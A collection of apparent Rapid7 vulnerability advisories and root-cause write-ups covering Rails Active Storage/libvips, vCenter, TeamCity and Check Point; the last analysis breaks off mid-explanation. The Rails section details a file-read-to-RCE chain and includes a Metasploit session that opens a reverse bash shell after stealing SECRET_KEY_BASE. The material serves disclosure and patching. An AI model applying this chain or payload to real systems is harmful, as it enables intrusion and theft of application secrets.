Organizations should also review:
Authentication logs
Administrative account creation or modification
Take Control session activity
Remote management logs
Windows service installation events
To assist affected organizations running N-central, the vendor has provided a detection template for CVE-2026-18577, which organizations can use to help identify potential compromise.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-18577 and CVE-2026-18556 with vulnerability checks available in the August 4 content release. Note that potential check type must be enabled in the scan template before scanning.
Updates
August 4, 2026: Initial publication.
August 4, 2026: Updated Rapid7 customers section to reflect the availability of vulnerability checks.
August 7, 2026: Updated the Overview and Rapid7 Customers sections to indicate addition of CVE-2026-18556 to CISA KEV and availability of vulnerability checks.
August 14, 2026: Updated the Overview and Mitigation guidance sections to include the new vendor guidance that 2026.3 Hotfix 2 supersedes the original 2026.3 Hotfix 1.
On July 29, 2026, the Ruby on Rails project published a security advisory for CVE-2026-66066, an arbitrary file read in Active Storage applications that use the Vips image processor with untrusted uploads. The affected Active Storage ranges are < 7.2.3.2, >= 8.0, < 8.0.5.1, and >= 8.1, < 8.1.3.1. Vips is the default Active Storage variant processor for applications that load Rails 7.0 or later defaults. Rails 6 applications are affected only when they explicitly configure Vips.
Our Emergent Threat Response blog covers the affected versions, mitigation guidance, and current exploitation status. This post traces the request from the direct-upload endpoint to the HDF5 read, then shows how the arbitrary file read can expose Rails signing material and become code execution. A vulnerable application can disclose arbitrary files before the attacker has recovered a Rails secret or forged a token. A genuine Active Storage variation_key from the same application, paired with a direct-upload blob whose stored content_type claims to be an image, is enough to reach a libvips loader that turns a crafted MAT/HDF5 file into an arbitrary file-read oracle.
We reproduced the published chain against Rails 6.0.6.1, 6.1.7.10, 7.2.3.1, 8.0.5, and 8.1.3, and confirmed that patched 7.2.3.2, 8.0.5.1, and 8.1.3.1 targets block the crafted representation. We also validated a remote code execution (RCE) path that uses only JSON-compatible Hash, Array, and String values in a signed variation. That path reaches Kernel#spawn or Kernel#eval through ImageProcessing's chain builder, and it worked when Rails was configured with config.active_support.message_serializer = :json.
The advisory covers the vulnerable Active Storage configuration. The MAT/HDF5 representation chain shown here has narrower requirements. The deployed libvips build must expose matload with MAT 7.3/HDF5 support, the application must preserve an attacker-supplied content_type, and the attacker must be able to trigger a representation, for example with a genuine variation key. Those requirements narrow where this particular chain works, but the underlying issue is that Active Storage handed untrusted uploads to libvips operations that libvips already marked unsafe for untrusted content.
The attack can be summarized as follows:
[Attacker]
|
| 1. Creates a direct-upload blob with content_type = image/png
v
[Rails stores the blob as an image without examining the bytes]
|
| 2. Reuses a genuine variation_key from the same application
v
[Rails accepts the blob as variable and starts a representation]
|
| 3. image_processing hands the local tempfile path to libvips
v
[libvips matload]
|
| 4. Bytes 0-9 match "MATLAB 5.0"
v
[libmatio]
|
| 5. Bytes 124-125 contain MAT_FT_MAT73 (0x0200)
v
[HDF5 external storage]
|
| 6. Dataset bytes come from attacker-chosen path + offset
v
[Rendered PNG representation]
|
--> Target file bytes are returned as image pixels
Analysis
The published chain contains two separate trust failures. Rails decides that a blob is an image from a database value, while libvips decides what parser to use from the bytes on disk. Once the file reaches matload, libvips and libmatio disagree again about the same MAT header. libvips only looks at the first ten bytes, while libmatio selects the MAT version from bytes 124 and 125.
Direct upload stores an attacker-controlled type
The standard direct-upload endpoint creates the blob record before the service receives the file. In Rails 8.0.5, ActiveStorage::DirectUploadsController#create accepts content_type directly from the request and passes it into create_before_direct_upload!:
class ActiveStorage::DirectUploadsController < ActiveStorage::BaseController
def create
blob = ActiveStorage::Blob.create_before_direct_upload!(**blob_args) # <-- [1]
render json: direct_upload_json(blob)
end
private
def blob_args
params.expect(blob: [:filename, :byte_size, :checksum, :content_type, metadata: {}]).to_h.symbolize_keys # <-- [2]
end
At [1] and [2], the endpoint accepts content_type from the client. At [3], Active Storage writes that value directly to the blob record. The direct-upload path never runs the server-side unfurl flow that would identify the bytes with Marcel. When we uploaded the same crafted file through a normal multipart attachment in the lab, Rails re-identified it as MATLAB data before variant processing, so it did not pass the image gate.
Once the direct-upload blob exists, Blob#variable? uses only the stored database value to decide whether the blob can be transformed. On the representation path, no built-in previewer accepts image/png, so the blob falls through to variant:
def variant(transformations)
if variable?
variant_class.new(self, ActiveStorage::Variation.wrap(transformations).default_to(default_variant_transformations))
else
raise ActiveStorage::InvariableError, "Can't transform blob with ID=#{id} and content_type=#{content_type}"
end
end
# Returns true if the variant processor can transform the blob (its content
# type is in +ActiveStorage.variable_content_types+).
def variable?
ActiveStorage.variable_content_types.include?(content_type) # <-- [4]
end
At [4], Rails performs a set-membership check against the stored content_type. No file bytes are examined. A crafted MAT/HDF5 object stored as image/png reaches the image variant pipeline.
A genuine variation key can be replayed against another blob
The standard representation route accepts a signed blob ID and a signed variation key as separate parameters. Rails resolves them independently:
module ActiveStorage::SetBlob # :nodoc:
extend ActiveSupport::Concern
included do
before_action :set_blob
end
private
def set_blob
@blob = blob_scope.find_signed!(params[:signed_blob_id] || params[:signed_id]) # <-- [5]
rescue ActiveSupport::MessageVerifier::InvalidSignature
head :not_found
end
def blob_scope
ActiveStorage::Blob
end
end
class ActiveStorage::Representations::BaseController < ActiveStorage::BaseController # :nodoc:
include ActiveStorage::SetBlob
before_action :set_representation
private
def blob_scope
ActiveStorage::Blob.scope_for_strict_loading
end
def set_representation
@representation = @blob.representation(params[:variation_key]).processed # <-- [6]
rescue ActiveSupport::MessageVerifier::InvalidSignature
head :not_found
end
end
# Returns a Variation instance with the transformations that were encoded by +encode+.
def decode(key)
new ActiveStorage.verifier.verify(key, purpose: :variation) # <-- [7]
end
At [5], Rails verifies the blob ID. At [6] and [7], it separately verifies the variation key and applies it to that blob. There is no cross-check between the two signed values. An attacker can copy a variation_key from any representation URL emitted by the same application and replay it against the signed ID of a newly created direct-upload blob. The file-read stage does not require secret_key_base.
The Vips pipeline leaves decoder selection to libvips
Active Storage then hands the tempfile path to image_processing. The loader(page: 0) call below can be misleading. It stores options for whichever loader libvips chooses later rather than choosing a loader itself:
def process(file, format:)
processor.
source(file).
loader(page: 0). # <-- [8]
convert(format).
apply(operations). # <-- [9]
call
end
def processor
ImageProcessing.const_get(ActiveStorage.variant_processor.to_s.camelize)
end
def operations
transformations.each_with_object([]) do |(name, argument), list|
if ActiveStorage.variant_processor == :mini_magick
validate_transformation(name, argument) # <-- [10]
end
if name.to_s == "combine_options"
raise ArgumentError, <<~ERROR.squish
Active Storage's ImageProcessing transformer doesn't support :combine_options,
as it always generates a single command.
ERROR
end
if argument.present?
list << [ name, argument ] # <-- [11]
end
end
end
At [8], no decoder has been named yet. At [9], Rails forwards the signed transformation list into image_processing. For RCE, [10] and [11] matter because :mini_magick transformations pass through validate_transformation, while Vips transformations do not receive the same method-name validation.
In image_processing 1.14.0, the path later reaches Vips::Image.new_from_file:
def self.load_image(path_or_image, loader: nil, autorot: true, **options)
if path_or_image.is_a?(::Vips::Image)
image = path_or_image
else
path = path_or_image
if loader
image = ::Vips::Image.public_send(:"#{loader}load", path, **options)
else
options = Utils.select_valid_loader_options(path, options)
image = ::Vips::Image.new_from_file(path, **options) # <-- [12]
end
end
image = image.autorot if autorot && !options.key?(:autorotate)
image
end
Because loader: remains nil, [12] leaves decoder selection to libvips's file sniffers.
libvips and libmatio disagree about the MAT header
In libvips 8.16.1, matload is marked as untrusted. Vulnerable Active Storage releases did not block untrusted operations before processing attacker-controlled uploads:
At [13], libvips marks matload as untrusted. At [14], it registers vips__mat_ismat as the loader's sniffer. At [15], a file only needs to begin with MATLAB 5.0 for libvips to select matload. A genuine MAT 7.3 file begins with MATLAB 7.3 MAT-file, so it fails this check.
In libmatio 1.5.28, the descriptive text is not the format selector. libmatio reads the fixed version field at bytes 124 and 125:
At [17], Mat_Open stores the two-byte version field read from bytes 124 and 125 in mat->version. This is separate from the descriptive text that libvips already accepted at the beginning of the file.
At [18], ReadData dispatches MAT_FT_MAT73 into the HDF5-backed reader. A crafted file can therefore say MATLAB 5.0 to libvips while still entering MAT 7.3 handling in libmatio. HDF5 userblocks make this possible: the crafted file can place a valid HDF5 superblock after a 512-byte leading block that contains the spoofed MAT header.
HDF5 datasets can use an external backing file, including a caller-chosen path and byte offset. libmatio eventually asks HDF5 to read the dataset:
Before [19], this read path does not check H5Pget_external_count(). HDF5 resolves the external storage entry and copies bytes from the attacker-selected file into the MAT variable's data buffer. libvips then treats those bytes as image pixels and Active Storage returns them in the rendered representation.
The header mismatch also leaves a useful content signature. In the first 128 bytes, the file claims MATLAB 5.0 at bytes 0 through 9, but carries the MAT 7.3 version and endian tag at bytes 124 through 127. A normal MAT 5 file has the text but not the MAT 7.3 tag. A normal MAT 7.3 file has the tag but not the text.
Why variants are not required
A returned representation is the easiest way to get bytes back, but the advisory states that generating variants is not a separate requirement. Active Storage can also reach Vips::Image.new_from_file during image analysis after a blob is attached. Rails's forensic repository documents a MATLAB_empty variant in which libmatio reads external bytes while deriving an empty array's dimensions, so those bytes can surface as width and height instead of pixel values. That route does not depend on preserving pixel values.
Representation is one way to trigger the loader. That route needs a direct-upload blob, a representation trigger, and a way to see the image that comes back. The analyzer path can reach the same loader without returning a variant, although the attacker still needs some way to observe the resulting metadata or logs. For exploitation, the returned PNG is more useful because it carries far more data per request.
Why the patch works
The relevant v8.0.5 to v8.0.5.1 diff does not add another content-type check. Instead, it loads a new Active Storage Vips initializer from the analyzer path and disables the libvips operations that libvips itself already marks as untrusted:
diff --git a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
index 7e682b3b75fda..e262e1a842aa4 100644
--- a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
+++ b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
@@ -2,0 +3,2 @@
+require "active_storage/vips"
+
diff --git a/activestorage/lib/active_storage/vips.rb b/activestorage/lib/active_storage/vips.rb
new file mode 100644
index 0000000000000..16b2ddbfbaad1
--- /dev/null
+++ b/activestorage/lib/active_storage/vips.rb
@@ -0,0 +23,20 @@
+if ActiveStorage::VIPS_AVAILABLE
+ begin
+ # image_processing 2.0 calls Vips.block_untrusted(true) itself when it loads, so it has to load
+ # before the lines below. Leaving it to load later, when the transformer first asks for it,
+ # would disable the loaders again after an application's initializers had re-enabled them.
+ require "image_processing/vips"
+ rescue LoadError
+ # image_processing is only needed to generate variants, not to analyze blobs.
+ end
+
+ unless Vips.respond_to?(:block_untrusted) # <-- [20]
+ raise <<~ERROR.squish
+ libvips's unfuzzed operations are not safe to use with untrusted content, and Active Storage
+ cannot disable them. Disabling them requires libvips 8.13 or later and ruby-vips 2.2.1 or
+ later. Please upgrade libvips and ruby-vips, or remove the ruby-vips gem from your Gemfile.
+ ERROR
+ end
+
+ Vips.block_untrusted(true) # <-- [21]
+end
Active Storage's engine loads the Vips analyzer during initialization, so the new require "active_storage/vips" runs during boot rather than waiting for a later representation request. At [20], patched Active Storage refuses to boot if the loaded ruby-vips/libvips pair does not expose the blocking API it needs. At [21], it blocks those operations globally. Because matload is marked VIPS_OPERATION_UNTRUSTED, libvips skips it before the crafted file can reach libmatio.
From file read to code execution
The file read can recover arbitrary files readable by the Rails worker. On Linux, /proc/self/environ is a useful first target because it may contain SECRET_KEY_BASE, RAILS_MASTER_KEY, or service credentials, but the file-read primitive itself is not Linux-specific. Procfs is only a convenient route to Rails signing material. An exploit that relies only on /proc/self/environ will miss applications that keep secret_key_base in encrypted credentials or legacy secrets.yml files. Useful read targets in those cases include config/master.key, encrypted credential files, and legacy secrets.yml paths. Before using a candidate secret, an exploit can check it against a genuine signed Active Storage blob ID.
Once an attacker has recovered secret_key_base and derived the Active Storage verifier key, they can sign a new variation instead of replaying an existing one. Ethiack's write-up uses instance_eval for this step. We confirmed that the same Vips-side transformation validation gap also accepts the following JSON-compatible shapes:
In image_processing 1.14.0, Chainable#apply invokes the attacker-controlled transformation name on the builder:
def apply(operations)
operations.inject(self) do |builder, (name, argument)|
if argument == true || argument == nil
builder.public_send(name)
elsif argument.is_a?(Array)
builder.public_send(name, *argument) # <-- [22]
elsif argument.is_a?(Hash)
builder.public_send(name, **argument)
else
builder.public_send(name, argument)
end
end
end
At [22], a transformation named send reaches the builder's public send method. The first array element becomes a second method dispatch, which can invoke private Kernel#spawn or Kernel#eval. Execution occurs while the pipeline is being built, before normal image operations run. In our tests, the representation request returned HTTP 500 because spawn or eval returns a non-builder value after the payload has already executed.
This RCE path does not depend on a Marshal object gadget. We validated it against Rails 8.0.5 configured with config.active_support.message_serializer = :json. We also tested the same structure on older Rails branches whose signed messages used Marshal serialization, but the attacker-controlled data remains a Hash, Array, and String structure rather than a deserialization gadget.
The MAT/HDF5 file read and the missing Vips-side transformation validation are distinct parts of the RCE chain. Rails pull request rails/rails#56995 discusses the same Vips-side validation gap. CVE-2026-66066 matters here because the file read can recover the signing material needed to sign a malicious variation for the built-in representation route.
Exploitation
Our Metasploit module follows the representation-based chain described above. It creates crafted direct-upload blobs, confirms the file read against /proc/version, recovers and validates Rails signing material, signs an ImageProcessing variation, and triggers either send/spawn for command payloads or send/eval for native Ruby payloads.
The module uses the returned PNG representation instead of the narrower MATLAB_empty metadata channel because the PNG path returns larger chunks directly in the HTTP response and gives the module a read channel it can validate automatically during secret recovery. A standalone proof of concept targeting an application that only analyzes uploads could reasonably prefer MATLAB_empty, but that path depends on an application-specific way to observe width and height metadata or logs. For code execution, the module uses send/spawn and send/eval, which fit Metasploit command and Ruby payloads directly.
In the lab run below, the representation used by the module resized the image, so the module selected a 20x20 sharpened text-read layout and recovered 180 bytes per request. It then recovered SECRET_KEY_BASE from /proc/self/environ, signed a JSON variation, and opened a shell as the Rails process user:
msf6 > use exploit/multi/http/rails_activestorage_vips_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RPORT 3003
RPORT => 3003
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(multi/http/rails_activestorage_vips_rce) > run
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Selected the 20x20 sharpened text-read layout (180 bytes per request)
[+] The target is vulnerable. Recovered /proc/version with the 20x20 sharpened layout
[*] Reading up to 65536 bytes from /proc/self/environ
[*] Detected SHA1 Active Support verifier signatures
[*] Detected the Active Support json message serializer
[*] Validated SHA256 key derivation against a signed blob ID
[*] Stored recovered environment bytes in: /home/cryptocat/.msf4/loot/20260731004237_default_127.0.0.1_rails.process.en_047300.bin
[+] Recovered SECRET_KEY_BASE from /proc/self/environ
[*] Triggering the ImageProcessing send/spawn variation using a verifier key derived from /proc/self/environ
[*] Command shell session 1 opened
msf6 exploit(multi/http/rails_activestorage_vips_rce) > sessions -i 1 -c id
[*] Running 'id' on shell session 1 (127.0.0.1)
uid=1000(rails) gid=1000(rails) groups=1000(rails)
The SHA1 and SHA256 lines refer to separate Rails settings. The first is the MessageVerifier digest used on the signed blob ID. The second is the key-generator digest used to derive the Active Storage key.
Ethiack's published 1x1 oracle is byte-exact because interpolation has no adjacent pixel values to mix into the result. Our module also tries larger square uint8 layouts with /dev/zero columns between file bytes. With those columns, it can invert image_processing 1.14.0's vertical sharpen pass and recover more text per request. We still validate every recovered secret against a genuine Active Storage signature because the larger transport is not byte-exact for arbitrary binary data.
Remediation
For remediation guidance, see Rapid7's Emergent Threat Response blog and the Rails security advisory. The fixed Active Storage releases block untrusted libvips operations during initialization and require libvips 8.13 or later plus ruby-vips 2.2.1 or later when ruby-vips is installed.
On July 29, 2026, the Ruby on Rails project published a security advisory for CVE-2026-66066, a critical vulnerability affecting Active Storage image processing when used in conjunction with the libvips image processing library. The vulnerability has a CVSSv4 score of 9.5 and is classified as Initialization of a Resource with an Insecure Default (CWE-1188). An unauthenticated attacker may be able to leverage CVE-2026-66066 and read files accessible to the Rails application process, potentially exposing secrets that could enable remote code execution (RCE) or access to connected systems.
An application is affected when it uses libvips for Active Storage image processing and accepts image uploads from untrusted users. Rails notes that generating image variants is not a separate requirement for exposure. Vips is the default Active Storage variant processor for applications configured with Rails 7.0 or later defaults. According to Ethiack, only the Vips processor is affected; applications using Magick are not affected through the reported vector.
As of July 30, 2026, Rapid7 is not aware of exploitation in the wild. Ethiack and GMO Flatt Security, who independently reported the vulnerability, have withheld proof-of-concept code and details of the full attack chain. Public code claiming to exploit CVE-2026-66066 exists, but it is unclear how closely it corresponds to the full attack chain reported privately to Rails. According to the Rails Security Announcement, additional details will be disclosed no later than August 28, 2026. Rapid7 recommends remediating affected applications on an urgent basis, outside of normal patch cycles.
Update #1: On July 31, 2026, Rails published technical details and forensic tools earlier than its planned August 28 disclosure date after several researchers reverse-engineered the attack and published proof-of-concept code.
Technical overview
libvips uses operations to load and save image formats, including operations backed by third-party libraries. Some are marked "unfuzzed" or "untrusted" because they are unsafe for untrusted content. According to Rails, Active Storage did not disable these operations before processing user-supplied files, which may allow a crafted upload to trigger an unsafe operation and disclose files readable by the application.
The attack details published by Rails describe a chain in which an attacker creates a blob through Active Storage's direct-upload endpoint with a false image content type and obtains a genuine signed variation_key from a page that renders an Active Storage representation. A crafted file identifies itself to libvips as a MATLAB level 5 file but to libmatio as a MAT 7.3 HDF5 container. HDF5's External File List then reads bytes from an attacker-selected path, which are rendered as image pixels and returned in the resulting variant. This known chain also requires the deployed libvips build to include the matload operation.
For this documented chain, the Active Storage direct-upload route must be reachable. When Active Storage routes are mounted, the direct-upload route is present by default even if the application's own interface does not use direct uploads. Rapid7 testing found that ordinary server-side attachment does not satisfy this chain because Rails re-identifies the crafted file as MATLAB data before variant processing.
The arbitrary file-read stage does not require knowledge of secret_key_base or a forged variation key. Rapid7 also verified an RCE escalation in which recovered Rails signing material is used to forge an ImageProcessing 1.x variation; this path does not require Marshal deserialization.
The Rails patch that remediates CVE-2026-66066, disables untrusted operations during Active Storage initialization. When ruby-vips is installed, patched versions prevent the application from starting if ruby-vips or libvips is too old to support that protection.
On August 3, 2026, Rapid7 Labs published a full root cause technical analysis of CVE-2026-66066, detailing the full RCE chain and accompanying metasploit module.
Mitigation guidance
Organizations running affected Ruby on Rails applications should upgrade to a fixed Active Storage release and ensure libvips is 8.13 or later. Updating Rails or Active Storage alone is not sufficient when an older libvips version is installed.
Rails has published forensic tools to assess whether an application was vulnerable and search Active Storage data for crafted files. Because scheduled cleanup of unattached blobs may remove evidence, Rapid7 recommends beginning forensic assessment promptly.
The Rails advisory identifies patched Active Storage releases 7.2.3.2, 8.0.5.1, and 8.1.3.1. The fixed Rails releases are:
Rails branch
Affected versions
Fixed version
Rails 7.x
7.0.0 through 7.2.3.1
7.2.3.2
Rails 8.0.x
8.0.0 through 8.0.5
8.0.5.1
Rails 8.1.x
8.1.0 through 8.1.3
8.1.3.1
The Rails advisory lists all Active Storage releases earlier than 7.2.3.2 as affected, which includes releases before Rails 7.0. Ethiack reports that Rails 6.0.0 through 6.1.7.10 may be affected when Active Storage is configured to use Vips, and Rapid7 has verified that the known attack works on the Rails 6.0 and 6.1 branches under that non-default configuration. Rails has not published fixed releases for branches earlier than 7.2, so affected applications on those branches should migrate to a supported fixed branch or apply the applicable workaround below.
When ruby-vips is installed, organizations should ensure it is 2.2.1 or later. Rails advises affected organizations to replace secret_key_base and other secrets accessible to the application process, including the Rails master key and the credentials it decrypts, storage service credentials, database credentials, and third-party service tokens or keys. Replacing secret_key_base expires active sessions and affects encrypted and signed cookies, signed global IDs, and Active Storage URLs.
As a temporary workaround on libvips 8.13 or later, organizations can set VIPS_BLOCK_UNTRUSTED or, with ruby-vips 2.2.1 or later, call Vips.block_untrusted(true) from an initializer. For libvips versions earlier than 8.13, Rails states that the only workaround is to remove the libvips dependency.
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-66066 with vulnerability checks expected to be available in the July 31 content release.
Updates
July 30, 2026: Initial publication.
July 31, 2026: Updated with technical details and forensic resources published by Rails, and clarified the affected version range.
August 3, 2026: Added a Technical analysis section for the new Rapid7 Analysis.
On July 29, 2026, Broadcom published security advisory VMSA-2026-0006 addressing multiple vulnerabilities in several VMWare products. Included in the advisory are two critical remotely exploitable vulnerabilities affecting VMware vCenter Server: CVE-2026-59309 and CVE-2026-59310. Both vulnerabilities carry CVSSv3.1 base scores of 9.8 and can be exploited by unauthenticated attackers with network access to a vulnerable vCenter Server.
An authentication bypass vulnerability in the VMware Directory Service of vCenter that could allow a remote attacker to bypass authentication and gain unauthorized access to the vCenter management plane.
A directory traversal vulnerability in the vCenter Syslog server that could allow an attacker with network access to execute arbitrary code.
VMware vCenter Server provides centralized management for VMware vSphere environments, allowing administrators to manage ESXi hosts, virtual machines, resource allocation, availability, and other virtualization infrastructure from a central control plane. Compromise of vCenter can therefore provide an attacker with significant control over the virtualized environment and its associated workloads.
Both vulnerabilities are particularly significant because exploitation does not require prior authentication. However, an attacker must have network access to the affected vCenter services. Management interfaces such as vCenter are commonly restricted to internal or dedicated management networks, which can reduce exposure to internet-based attacks but does not mitigate the risk from an attacker who has already established access to an organization’s network.
At the time of publication, there is no known evidence of exploitation or scanning in the wild for either CVE-2026-59309 or CVE-2026-59310. There is also currently no known public proof-of-concept exploit code. However, vCenter Server has appeared on CISA’s KEV list ten times in the past for other vulnerabilities, so it is known that attackers target critical issues in this product. Customers running affected VMWare products are urged to patch on an urgent basis before exploitation in-the-wild occurs.
Mitigation guidance
Organizations running VMware vCenter Server should prioritize applying the updates identified by Broadcom in VMSA-2026-0006 on an urgent basis. Broadcom states that there are no workarounds for CVE-2026-59309 or CVE-2026-59310, making vendor-provided updates the primary remediation.
For the latest mitigation guidance, please refer to the vendor advisory.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-59309 and CVE-2026-59310 on VMware vCenter Server, Cloud Foundation, and vSphere Foundation products with unauthenticated vulnerability checks expected to be available in the July 30 content release.
Updates
July 30, 2026: Initial publication.
July 30, 2026: Updated customers section to reflect availability of vulnerability checks.
On July 27, 2026, JetBrains published a security advisory for CVE-2026-63077, a critical unauthenticated vulnerability affecting all versions of TeamCity On-Premises. The issue is classified as deserialization of untrusted data and has a CVSS score of 9.8. An unauthenticated remote attacker with HTTP(S) access to a TeamCity server can exploit the agent polling protocol to bypass authentication checks and execute arbitrary operating system commands with the privileges of the TeamCity server process.
In the blog post that JetBrains shared in tandem with CVE publication, they stated that attackers who exploit the vulnerability can read stored credentials and compromise CI/CD pipeline integrity. The impact of successful exploitation depends on the operating system privileges granted to the TeamCity server process. At the time of disclosure, JetBrains stated that they were not aware of active exploitation. On August 5, CISA added CVE-2026-63077 to its KEV catalog.
Technical analysis
On August 7, 2026, Rapid7 Labs published a full root cause technical analysis of CVE-2026-63077. Our analysis details the vulnerability and how an unauthenticated attacker can exploit the vulnerability to achieve remote code execution on a vulnerable TeamCity server.
Mitigation guidance
Organizations running TeamCity On-Premises should urgently prioritize updating to a fixed version, either via the TeamCity UI update workflow or by downloading and installing one of the following fixed versions:
TeamCity 2025.11.7
TeamCity 2026.1.3
All versions of TeamCity On-Premises are affected. Organizations that cannot upgrade can apply JetBrains' security patch plugin to TeamCity 2017.1 and later. The plugin addresses only CVE-2026-63077; JetBrains recommends upgrading to a fixed version to receive other security updates. TeamCity Cloud customers do not need to take action.
In addition to patching, as a defense-in-depth measure, Rapid7 recommends restricting network access to TeamCity servers to only users and systems that must have it. For the latest mitigation guidance, please refer to the JetBrains security advisory.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-63077 with a vulnerability check available in the July 28 content release.
Updates
July 29, 2026: Initial publication.
August 5, 2026: Updated to reflect the addition of CVE-2026-63077 to CISA KEV.
August 7, 2026: Added link to the Rapid7 Analysis.
On July 22, 2026, Check Point published a security advisory for CVE-2026-16232, an authentication bypass in the SmartConsole login process affecting Security Management Server and Multi-Domain Security Management Server (MDS). By leveraging CVE-2026-16232, an unauthenticated attacker can obtain an application login token, use this token to log in through SmartConsole with full administrator privileges, and modify the security policy or security configuration. Exploitation requires network access to the Management Server and for a Trusted Clients configuration that does not restrict GUI clients, which in our testing was a default setting. This vulnerability was reported as being exploited in the wild as a zero-day vulnerability at the time of disclosure.
Our analysis finds that the root cause of CVE-2026-16232 is a broken trust boundary in the application authentication path. A vulnerable server accepts an attacker-supplied Secure Internal Communication (SIC) distinguished name (DN) as the identity of a remote application instead of binding that identity to the authenticated remote peer certificate DN returned by getCertificateDnName(). An attacker can read the management server's own SIC DN during the unauthenticated bootstrap communication, replay that DN in a forged application certificate bind, obtain an application token, and then ask the legacy management service to mint a new SmartConsole single sign-on (SSO) ticket.
Rapid7 Labs has reproduced CVE-2026-16232 against affected R81.20 and R82.10 versions of the target software. Our proof-of-concept (PoC) exploit script can be used to successfully validate if a target is either vulnerable or patched. The vendor supplied patches have been confirmed to successfully remediate the vulnerability and prevent our PoC script from succeeding.
Analysis
SmartConsole is the desktop client administrators use to manage Check Point policy and configuration. A SmartConsole login crosses two generations of management plumbing over the network.
The first is the legacy FWM/CPMI service, listening on TCP 18190. It uses SIC, Check Point's certificate-based trust mechanism for communication between management components. Once the SIC bootstrap completes, FWM exchanges length-prefixed “FwSet” objects, a Check Point name/value encoding used by older management services.
The second is the newer CPM/DLE service. This exposes SOAP services over HTTPS on TCP 19009 under the URI path /cpmws/. SmartConsole uses these services for login, queries, and object operations. Authenticated requests carry DLESESSIONID and CLIENTSESSIONID header values to prove a client is authenticated.
The exploit for CVE-2026-16232 uses both the FWM/CPMI and CPM/DLE services. It first uses the native FWM/CPMI protocol to claim an application identity and obtain an application token via the root cause of the vulnerability. It then uses the accepted native application session to ask FWM for a SmartConsole SSO ticket, redeems the ticket over CPM's SOAP API, and receives a SmartConsole session.
The diagram below shows the flow for exploiting CVE-2026-16232.
Figure 1: Flow diagram of exploitation.
The application authentication boundary
The Java login service contains a bridge for FWM application based logins. The authenticateUser method splits the supplied username into an application name and a SIC DN, then passes both into cpApplicationAuthentication().
At [1] and [2], the login service treats attacker-controlled input as both the application name and the claimed SIC identity. At [3], the untrusted DN claim reaches the remote application authenticator as a separate argument.
The method that consumes that identity is authenticateRemoteApplication(). This method prefers the attacker-supplied DN whenever one is present.
The problem is at [1]. The vulnerable code collapses the untrusted claim and the authenticated peer identity into one variable. If suppliedSicDn is present, the code never uses getCertificateDnName() at all. The method then uses the attacker-controlled value at [2] to identify the login domain. In practice, a remote client can copy the management server's own SIC DN into :DN and authenticate as a remote application without presenting a client certificate for that identity.
What the patch changes
Our analysis compares the decompiled com.checkpoint.management.dleserver.coresvc.internal.LoginSvcImpl class from a vulnerable “R81.20 Jumbo Hotfix Take 146” against the patched “R81.20 Jumbo Hotfix Take 158”.
private void authenticateRemoteApplication(String applicationName, String suppliedSicDn)
throws AuthenticationFailureLoginException {
- String effectiveSicDn = suppliedSicDn == null
- ? this.j.getCertificateDnName()
- : suppliedSicDn; // <-- [1]
- CpAssert.cpassert(StringUtils.isNotEmpty(effectiveSicDn), "User DN name is not set");
+ String effectiveSicDn;
+ String certificateDn = this.j.getCertificateDnName();
+ String remoteIp = this.j.getRemoteIpAddress();
+ boolean localSic = IpUtils.isLoopback(remoteIp) && "CN=siclocal".equals(certificateDn);
+ if (localSic && suppliedSicDn != null) {
+ effectiveSicDn = suppliedSicDn; // <-- [2]
+ } else {
+ effectiveSicDn = certificateDn; // <-- [3]
+ boolean mismatch = suppliedSicDn != null
+ && StringUtils.isNotEmpty(certificateDn)
+ && !suppliedSicDn.equalsIgnoreCase(certificateDn);
+ if (mismatch) {
+ TdLog.error(c,
+ "Rejecting caller-supplied SIC name that does not match the client certificate DN for application {} from {}",
+ applicationName, remoteIp);
+ throw new AuthenticationFailureLoginException(
+ "Remote authentication failed for peer " + remoteIp + "."); // <-- [4]
+ }
+ }
+ if (Strings.isNullOrEmpty(effectiveSicDn)) {
+ TdLog.error(c, "Remote application {} login rejected: no authenticated SIC identity",
+ applicationName);
+ throw new AuthenticationFailureLoginException(
+ "Remote authentication failed for peer " + remoteIp + "."); // <-- [5]
+ }
if (effectiveSicDn.equals("CN=siclocal")) {
this.authenticateLocal(applicationName);
} else {
this.t.identifyDomainForRemoteLogin(effectiveSicDn);
}
}
Shown above, the vulnerable “Take 146” accepts the caller's DN at [1]. The patched “Take 158” only allows a supplied DN for loopback CN=siclocal traffic at [2], which preserves the local application case. Remote clients now use the authenticated remote peer certificate DN at [3], and any mismatch between the supplied DN and that authenticated identity is rejected at [4]. The new empty identity check at [5] also prevents a remote application login when there is no authenticated SIC identity at all.
This is why replaying the management server's DN no longer works. The attacker can still send the same :DN text, but the patched remote path does not use that text as effectiveSicDn. If the client presents no certificate, as in our PoC, certificateDn is empty and the check at [5] rejects the login. If the client presents a certificate with some other DN, the mismatch check at [4] rejects the forged server DN. To make the supplied server DN survive the patched checks, the attacker would need an authenticated client certificate whose subject DN already matches that server DN, which removes the unauthenticated bypass.
Protocol flow to a SmartConsole session
The relevant application-layer traffic is shown below in the order our PoC sends it. For brevity, we have omitted the boilerplate CA and CRL bootstrap exchange as it is not pertinent to the vulnerability’s root cause.
After the SIC bootstrap, the PoC sends a certificate bind request that supplies the management server's own SIC DN (cp_mgmt,o=gw-5622ca..5otbwa in the example below):
Despite the :certificate_bind field name, the PoC does not load or present a client certificate in its Python TLS context. The bind request only provides the :DN claim as a text string. On a vulnerable server, the bind succeeds because the application login path accepts :DN as the effective SIC identity. The PoC then sends an open-database request, shown below, and receives the application login token described in Check Point's advisory.
The open-database response is a binary-encoded FwSet object. The PoC extracts the 43-character DLE token from that response and then uses it as a CPM DLESESSIONID value.
